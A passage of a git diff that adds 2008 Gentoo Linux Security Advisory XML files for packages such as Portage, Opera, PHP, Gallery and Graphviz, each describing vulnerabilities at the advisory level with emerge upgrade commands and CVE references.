+    lib/search.c, which leads to a heap-based buffer overflow via specially
+    crafted data files.</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <ul>
+    <li>In case the application is accessible e.g. via a web server,
+    a remote attacker could pass overly long strings as arguments to the
+    "wm" binary, possibly leading to the execution of arbitrary code.</li>
+    <li>A local attacker could exploit the second vulnerability via
+    specially crafted "WNSEARCHDIR" or "WNHOME" environment variables,
+    possibly leading to the execution of arbitrary code with escalated
+    privileges.</li>
+    <li>A local attacker could exploit the third and
+    fourth vulnerability by making the application use specially crafted
+    data files, possibly leading to the execution of arbitrary code.</li>
+    </ul>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All WordNet users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-dicts/wordnet-3.0-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2149">CVE-2008-2149</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3908">CVE-2008-3908</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 21 Sep 2008 11:08:59 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 21 Sep 2008 11:09:31 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 26 Sep 2008 09:37:40 +0000">
+    keytoaster
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200810-02.xml b/xml/htdocs/security/en/glsa/glsa-200810-02.xml
new file mode 100644
index 00000000..d729542a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200810-02.xml
@@ -0,0 +1,75 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200810-02">
+  <title>Portage: Untrusted search path local root vulnerability</title>
+  <synopsis>
+    A search path vulnerability in Portage allows local attackers to execute
+    commands with root privileges if emerge is called from untrusted
+    directories.
+  </synopsis>
+  <product type="ebuild">portage</product>
+  <announced>October 09, 2008</announced>
+  <revised>October 09, 2008: 01</revised>
+  <bug>239560</bug>
+  <access>local</access>
+  <affected>
+    <package name="sys-apps/portage" auto="yes" arch="*">
+      <unaffected range="ge">2.1.4.5</unaffected>
+      <vulnerable range="lt">2.1.4.5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Portage is Gentoo's package manager which is responsible for
+    installing, compiling and updating all packages on the system through
+    the Gentoo rsync tree.
+    </p>
+  </background>
+  <description>
+    <p>
+    The Gentoo Security Team discovered that several ebuilds, such as
+    sys-apps/portage, net-mail/fetchmail or app-editors/leo execute Python
+    code using "python -c", which includes the current working directory in
+    Python's module search path. For several ebuild functions, Portage did
+    not change the working directory from emerge's working directory.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A local attacker could place a specially crafted Python module in a
+    directory (such as /tmp) and entice the root user to run commands such
+    as "emerge sys-apps/portage" from that directory, resulting in the
+    execution of arbitrary Python code with root privileges.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Do not run "emerge" from untrusted working directories.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Portage users should upgrade to the latest version:
+    </p>
+    <code>
+    # cd /root
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=sys-apps/portage-2.1.4.5&quot;</code>
+    <p>
+    NOTE: To upgrade to Portage 2.1.4.5 using 2.1.4.4 or prior, you must
+    run emerge from a trusted working directory, such as "/root".
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4394">CVE-2008-4394</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Wed, 08 Oct 2008 16:50:57 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 08 Oct 2008 16:58:04 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200810-03.xml b/xml/htdocs/security/en/glsa/glsa-200810-03.xml
new file mode 100644
index 00000000..5f1653b5
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200810-03.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200810-03">
+  <title>libspf2: DNS response buffer overflow</title>
+  <synopsis>
+    A memory management error in libspf2 might allow for remote execution of
+    arbitrary code.
+  </synopsis>
+  <product type="ebuild">libspf2</product>
+  <announced>October 30, 2008</announced>
+  <revised>October 30, 2008: 01</revised>
+  <bug>242254</bug>
+  <access>remote</access>
+  <affected>
+    <package name="mail-filter/libspf2" auto="yes" arch="*">
+      <unaffected range="ge">1.2.8</unaffected>
+      <vulnerable range="lt">1.2.8</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    libspf2 is a library that implements the Sender Policy Framework,
+    allowing mail transfer agents to make sure that an email is authorized
+    by the domain name that it is coming from. Currently, only the exim MTA
+    uses libspf2 in Gentoo.
+    </p>
+  </background>
+  <description>
+    <p>
+    libspf2 uses a fixed-length buffer to receive DNS responses and does
+    not properly check the length of TXT records, leading to buffer
+    overflows.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could store a specially crafted DNS entry and entice
+    a user or automated system using libspf2 to lookup that SPF entry (e.g.
+    by sending an email to the MTA), possibly allowing for the execution of
+    arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All libspf2 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-filter/libspf2-1.2.8&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2469">CVE-2008-2469</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 18 Oct 2008 16:51:58 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 19 Oct 2008 19:27:11 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 23 Oct 2008 13:43:28 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200811-01.xml b/xml/htdocs/security/en/glsa/glsa-200811-01.xml
new file mode 100644
index 00000000..97f4e319
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200811-01.xml
@@ -0,0 +1,129 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200811-01">
+  <title>Opera: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been discovered in Opera, allowing for the
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">opera</product>
+  <announced>November 03, 2008</announced>
+  <revised>November 03, 2008: 01</revised>
+  <bug>235298</bug>
+  <bug>240500</bug>
+  <bug>243060</bug>
+  <bug>244980</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-client/opera" auto="yes" arch="*">
+      <unaffected range="ge">9.62</unaffected>
+      <vulnerable range="lt">9.62</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Opera is a fast web browser that is available free of charge.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities have been discovered in Opera:
+    </p>
+    <ul>
+    <li>Opera does not restrict the ability of a framed web page to change
+    the address associated with a different frame (CVE-2008-4195).</li>
+    <li>Chris Weber (Casaba Security) discovered a Cross-site scripting
+    vulnerability (CVE-2008-4196).</li>
+    <li>Michael A. Puls II discovered
+    that Opera can produce argument strings that contain uninitialized
+    memory, when processing custom shortcut and menu commands
+    (CVE-2008-4197).</li>
+    <li>Lars Kleinschmidt discovered that Opera, when
+    rendering an HTTP page that has loaded an HTTPS page into a frame,
+    displays a padlock icon and offers a security information dialog
+    reporting a secure connection (CVE-2008-4198).</li>
+    <li>Opera does not
+    prevent use of links from web pages to feed source files on the local
+    disk (CVE-2008-4199).</li>
+    <li>Opera does not ensure that the address
+    field of a news feed represents the feed's actual URL
+    (CVE-2008-4200).</li>
+    <li>Opera does not check the CRL override upon
+    encountering a certificate that lacks a CRL (CVE-2008-4292).</li>
+    <li>Chris (Matasano Security) reported that Opera may crash if it is
+    redirected by a malicious page to a specially crafted address
+    (CVE-2008-4694).</li>
+    <li>Nate McFeters reported that Opera runs Java
+    applets in the context of the local machine, if that applet has been
+    cached and a page can predict the cache path for that applet and load
+    it from the cache (CVE-2008-4695).</li>
+    <li>Roberto Suggi Liverani
+    (Security-Assessment.com) reported that Opera's History Search results
+    does not escape certain constructs correctly, allowing for the
+    injection of scripts into the page (CVE-2008-4696).</li>
+    <li>David
+    Bloom reported that Opera's Fast Forward feature incorrectly executes
+    scripts from a page held in a frame in the outermost page instead of
+    the page the JavaScript URL was located (CVE-2008-4697).</li>
+    <li>David
+    Bloom reported that Opera does not block some scripts when previewing a
+    news feed (CVE-2008-4698).</li>
+    <li>Opera does not correctly sanitize
+    content when certain parameters are passed to Opera's History Search,
+    allowing scripts to be injected into the History Search results page
+    (CVE-2008-4794).</li>
+    <li>Opera's links panel incorrectly causes
+    scripts from a page held in a frame to be executed in the outermost
+    page instead of the page where the URL was located
+    (CVE-2008-4795).</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    These vulnerabilties allow remote attackers to execute arbitrary code,
+    to run scripts injected into Opera's History Search with elevated
+    privileges, to inject arbitrary web script or HTML into web pages, to
+    manipulate the address bar, to change Opera's preferences, to determine
+    the validity of local filenames, to read cache files, browsing history,
+    and subscribed feeds or to conduct other attacks.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Opera users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/opera-9.62&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4195">CVE-2008-4195</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4196">CVE-2008-4196</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4197">CVE-2008-4197</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4198">CVE-2008-4198</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4199">CVE-2008-4199</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4200">CVE-2008-4200</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4292">CVE-2008-4292</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4694">CVE-2008-4694</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4695">CVE-2008-4695</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4696">CVE-2008-4696</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4697">CVE-2008-4697</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4698">CVE-2008-4698</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4794">CVE-2008-4794</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4795">CVE-2008-4795</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Mon, 13 Oct 2008 21:25:07 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 03 Nov 2008 18:39:54 +0000">
+    keytoaster
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200811-02.xml b/xml/htdocs/security/en/glsa/glsa-200811-02.xml
new file mode 100644
index 00000000..ff6c7828
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200811-02.xml
@@ -0,0 +1,98 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200811-02">
+  <title>Gallery: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities in Gallery may lead to execution of arbitrary
+    code, disclosure of local files or theft of user's credentials.
+  </synopsis>
+  <product type="ebuild">gallery</product>
+  <announced>November 09, 2008</announced>
+  <revised>May 28, 2009: 02</revised>
+  <bug>234137</bug>
+  <bug>238113</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/gallery" auto="yes" arch="*">
+      <unaffected range="ge">2.2.6</unaffected>
+      <unaffected range="rge">1.5.9</unaffected>
+      <unaffected range="rge">1.5.10</unaffected>
+      <vulnerable range="lt">2.2.6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Gallery is an open source web based photo album organizer.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities have been discovered in Gallery 1 and 2:
+    </p>
+    <ul>
+    <li>
+    Digital Security Research Group reported a directory traversal
+    vulnerability in contrib/phpBB2/modules.php in Gallery 1, when
+    register_globals is enabled (CVE-2008-3600).
+    </li>
+    <li>
+    Hanno Boeck reported that Gallery 1 and 2 did not set the secure flag
+    for the session cookie in an HTTPS session (CVE-2008-3662).
+    </li>
+    <li>
+    Alex Ustinov reported that Gallery 1 and 2 does not properly handle ZIP
+    archives containing symbolic links (CVE-2008-4129).
+    </li>
+    <li>
+    The vendor reported a Cross-Site Scripting vulnerability in Gallery 2
+    (CVE-2008-4130).
+    </li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    Remote attackers could send specially crafted requests to a server
+    running Gallery, allowing for the execution of arbitrary code when
+    register_globals is enabled, or read arbitrary files via directory
+    traversals otherwise. Attackers could also entice users to visit
+    crafted links allowing for theft of login credentials.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Gallery 2 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/gallery-2.2.6&quot;</code>
+    <p>
+    All Gallery 1 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/gallery-1.5.9&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3600">CVE-2008-3600</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3662">CVE-2008-3662</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4129">CVE-2008-4129</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4130">CVE-2008-4130</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 18 Oct 2008 20:31:05 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 21 Oct 2008 20:22:34 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 31 Oct 2008 00:12:12 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200811-03.xml b/xml/htdocs/security/en/glsa/glsa-200811-03.xml
new file mode 100644
index 00000000..ec1117e6
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200811-03.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200811-03">
+  <title>FAAD2: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    A buffer overflow in FAAD2 might lead to user-assisted execution of
+    arbitrary code via an MP4 file.
+  </synopsis>
+  <product type="ebuild">faad2</product>
+  <announced>November 09, 2008</announced>
+  <revised>November 09, 2008: 01</revised>
+  <bug>238445</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/faad2" auto="yes" arch="*">
+      <unaffected range="ge">2.6.1-r2</unaffected>
+      <vulnerable range="lt">2.6.1-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    FAAD2 is an open source MPEG-4 and MPEG-2 AAC decoder.
+    </p>
+  </background>
+  <description>
+    <p>
+    The ICST-ERCIS (Peking University) reported a heap-based buffer
+    overflow in the decodeMP4file() function in frontend/main.c.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted
+    MPEG-4 (MP4) file in an application using FAAD2, possibly leading to
+    the execution of arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All FAAD2 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/faad2-2.6.1-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4201">CVE-2008-4201</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 01 Oct 2008 21:20:46 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 21 Oct 2008 20:30:57 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 30 Oct 2008 23:45:59 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200811-04.xml b/xml/htdocs/security/en/glsa/glsa-200811-04.xml
new file mode 100644
index 00000000..7e424ef2
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200811-04.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200811-04">
+  <title>Graphviz: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    A buffer overflow in Graphviz might lead to user-assisted execution of
+    arbitrary code via a DOT file.
+  </synopsis>
+  <product type="ebuild">graphviz</product>
+  <announced>November 09, 2008</announced>
+  <revised>November 09, 2008: 01</revised>
+  <bug>240636</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-gfx/graphviz" auto="yes" arch="*">
+      <unaffected range="ge">2.20.3</unaffected>
+      <vulnerable range="lt">2.20.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Graphviz is an open source graph visualization software.
+    </p>
+  </background>
+  <description>
+    <p>
+    Roee Hay reported a stack-based buffer overflow in the push_subg()
+    function in parser.y when processing a DOT file with a large number of
+    Agraph_t elements.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user or automated system to open a
+    specially crafted DOT file in an application using Graphviz, possibly
+    leading to the execution of arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Graphviz users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-gfx/graphviz-2.20.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4555">CVE-2008-4555</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 16 Oct 2008 18:49:15 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 21 Oct 2008 20:26:38 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 31 Oct 2008 00:00:32 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200811-05.xml b/xml/htdocs/security/en/glsa/glsa-200811-05.xml
new file mode 100644
index 00000000..a90a91ea
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200811-05.xml
@@ -0,0 +1,134 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200811-05">
+  <title>PHP: Multiple vulnerabilities</title>
+  <synopsis>
+    PHP contains several vulnerabilities including buffer and integer overflows
+    which could lead to the remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">php</product>
+  <announced>November 16, 2008</announced>
+  <revised>November 16, 2008: 01</revised>
+  <bug>209148</bug>
+  <bug>212211</bug>
+  <bug>215266</bug>
+  <bug>228369</bug>
+  <bug>230575</bug>
+  <bug>234102</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-lang/php" auto="yes" arch="*">
+      <unaffected range="ge">5.2.6-r6</unaffected>
+      <vulnerable range="lt">5.2.6-r6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    PHP is a widely-used general-purpose scripting language that is
+    especially suited for Web development and can be embedded into HTML.
+    </p>
+  </background>
+  <description>
+    <p>
+    Several vulnerabilitites were found in PHP:
+    </p>
+    <ul>
+    <li>PHP ships a
+    vulnerable version of the PCRE library which allows for the
+    circumvention of security restrictions or even for remote code
+    execution in case of an application which accepts user-supplied regular
+    expressions (CVE-2008-0674).</li>
+    <li>Multiple crash issues in several
+    PHP functions have been discovered.</li>
+    <li>Ryan Permeh reported that
+    the init_request_info() function in sapi/cgi/cgi_main.c does not
+    properly consider operator precedence when calculating the length of
+    PATH_TRANSLATED (CVE-2008-0599).</li>
+    <li>An off-by-one error in the
+    metaphone() function may lead to memory corruption.</li>
+    <li>Maksymilian Arciemowicz of SecurityReason Research reported an
+    integer overflow, which is triggerable using printf() and related
+    functions (CVE-2008-1384).</li>
+    <li>Andrei Nigmatulin reported a
+    stack-based buffer overflow in the FastCGI SAPI, which has unknown
+    attack vectors (CVE-2008-2050).</li>
+    <li>Stefan Esser reported that PHP
+    does not correctly handle multibyte characters inside the
+    escapeshellcmd() function, which is used to sanitize user input before
+    its usage in shell commands (CVE-2008-2051).</li>
+    <li>Stefan Esser
+    reported that a short-coming in PHP's algorithm of seeding the random
+    number generator might allow for predictible random numbers
+    (CVE-2008-2107, CVE-2008-2108).</li>
+    <li>The IMAP extension in PHP uses
+    obsolete c-client API calls making it vulnerable to buffer overflows as
+    no bounds checking can be done (CVE-2008-2829).</li>
+    <li>Tavis Ormandy
+    reported a heap-based buffer overflow in pcre_compile.c in the PCRE
+    version shipped by PHP when processing user-supplied regular
+    expressions (CVE-2008-2371).</li>
+    <li>CzechSec reported that specially
+    crafted font files can lead to an overflow in the imageloadfont()
+    function in ext/gd/gd.c, which is part of the GD extension
+    (CVE-2008-3658).</li>
+    <li>Maksymilian Arciemowicz of SecurityReason
+    Research reported that a design error in PHP's stream wrappers allows
+    to circumvent safe_mode checks in several filesystem-related PHP
+    functions (CVE-2008-2665, CVE-2008-2666).</li>
+    <li>Laurent Gaffie
+    discovered a buffer overflow in the internal memnstr() function, which
+    is used by the PHP function explode() (CVE-2008-3659).</li>
+    <li>An
+    error in the FastCGI SAPI when processing a request with multiple dots
+    preceding the extension (CVE-2008-3660).</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    These vulnerabilities might allow a remote attacker to execute
+    arbitrary code, to cause a Denial of Service, to circumvent security
+    restrictions, to disclose information, and to manipulate files.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All PHP users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-lang/php-5.2.6-r6&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0599">CVE-2008-0599</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0674">CVE-2008-0674</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1384">CVE-2008-1384</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2050">CVE-2008-2050</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2051">CVE-2008-2051</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2107">CVE-2008-2107</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2108">CVE-2008-2108</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2371">CVE-2008-2371</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2665">CVE-2008-2665</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2666">CVE-2008-2666</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2829">CVE-2008-2829</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3658">CVE-2008-3658</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3659">CVE-2008-3659</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3660">CVE-2008-3660</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 17 Mar 2008 01:12:26 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 10 Nov 2008 18:29:08 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 16 Nov 2008 16:06:26 +0000">
+    keytoaster
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200812-01.xml b/xml/htdocs/security/en/glsa/glsa-200812-01.xml
new file mode 100644
index 00000000..b233c772
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200812-01.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200812-01">
+  <title>OptiPNG: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    A vulnerability in OptiPNG might result in user-assisted execution of
+    arbitrary code.
+  </synopsis>
+  <product type="ebuild">optipng</product>
+  <announced>December 02, 2008</announced>
+  <revised>December 02, 2008: 01</revised>
+  <bug>246522</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-gfx/optipng" auto="yes" arch="*">
+      <unaffected range="ge">0.6.2</unaffected>
+      <vulnerable range="lt">0.6.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    OptiPNG is a PNG optimizer that recompresses image files to a smaller
+    size, without losing any information.
+    </p>
+  </background>
+  <description>
+    <p>
+    A buffer overflow in the BMP reader in OptiPNG has been reported.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to process a specially crafted
+    BMP image, possibly resulting in the execution of arbitrary code with
+    the privileges of the user running the application, or a Denial of
+    Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All OptiPNG users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-gfx/optipng-0.6.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5101">CVE-2008-5101</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 22 Nov 2008 17:38:05 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 26 Nov 2008 23:15:20 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 26 Nov 2008 23:15:33 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200812-02.xml b/xml/htdocs/security/en/glsa/glsa-200812-02.xml
new file mode 100644
